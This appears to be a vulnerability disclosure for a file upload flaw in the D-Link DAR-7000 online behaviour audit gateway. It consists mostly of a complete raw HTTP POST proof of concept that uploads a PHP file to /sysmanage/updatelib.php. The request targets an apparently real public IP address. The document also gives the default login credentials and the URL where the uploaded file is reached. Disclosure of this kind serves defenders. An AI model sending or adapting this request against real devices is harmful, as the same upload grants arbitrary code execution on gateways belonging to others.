The D-LINK DAR-7000 series online behavior audit gateway has a file upload vulnerability. Attackers can exploit vulnerabilities to gain server privileges or cause business impact on the system.
official: http://www.dlink.com.cn/
version:DAR-7000 DAR V31R02B1413C
Vulnerability Path :/sysmanage/updatelib.php
Default account password: test/admin@123
poc:
POST /sysmanage/updatelib.php? HTTP/1.1
Host: 60.22.74.195:8443
Cookie: PHPSESSID=bdb1aa1392da0420192cff3c34e507d6
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 717
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="ck"
radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="phpinfo.php"
Content-Type: application/octet-stream
<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hid_tftp_ip"
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hid_ftp_ip"
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
set
-----------------------------42328904123665875270630079328—
![图片](https://private-user-images.githubusercontent.com/144869546/267914321-b9041dde-196c-4f52-bc0d-ca23bf0c8991.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjE0MTU3NjMsIm5iZiI6MTcyMTQxNTQ2MywicGF0aCI6Ii8xNDQ4Njk1NDYvMjY3OTE0MzIxLWI5MDQxZGRlLTE5NmMtNGY1Mi1iYzBkLWNhMjNiZjBjODk5MS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzE5JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDcxOVQxODU3NDNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1jNmUxMGRhZTMzZmYwOTdlMDU0OTZkN2Q5NjA5NGQxMjc4NDMyZmE4NjliN2I3OWYwNzlkNzJjYzQwNTUxNjkxJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.i-Hsh2j_MKagk7yyi6mQRuryR8gyysJN4o9yq4cqZA0)
https://60.22.74.195:8443/home/phpinfo.php
![图片](https://private-user-images.githubusercontent.com/144869546/267914382-e4bbeb22-7b5e-4a8f-97ae-63aa2a74d4a3.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjE0MTU3NjMsIm5iZiI6MTcyMTQxNTQ2MywicGF0aCI6Ii8xNDQ4Njk1NDYvMjY3OTE0MzgyLWU0YmJlYjIyLTdiNWUtNGE4Zi05N2FlLTYzYWEyYTc0ZDRhMy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzE5JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDcxOVQxODU3NDNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1kMmVkOWUzNGEwMjMyNDEyOTI3MGE0MDk3NThlYjQzMDA4Mjg4YzZlNTI2OTZhZjEyNDFhMTBjN2YyMDYyNjU5JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.Qol43CQUYvBk-vT56sN18UszLIc4uSEbEf-4k3kNLdE)